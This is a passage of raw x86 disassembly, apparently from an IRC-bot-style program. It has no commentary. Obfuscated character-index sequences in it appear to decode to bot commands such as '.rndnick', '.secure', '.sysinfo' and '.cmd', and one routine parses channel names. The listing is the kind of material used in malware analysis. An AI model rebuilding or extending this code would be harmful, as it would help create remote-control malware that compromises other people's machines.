		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C631E890h
		dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
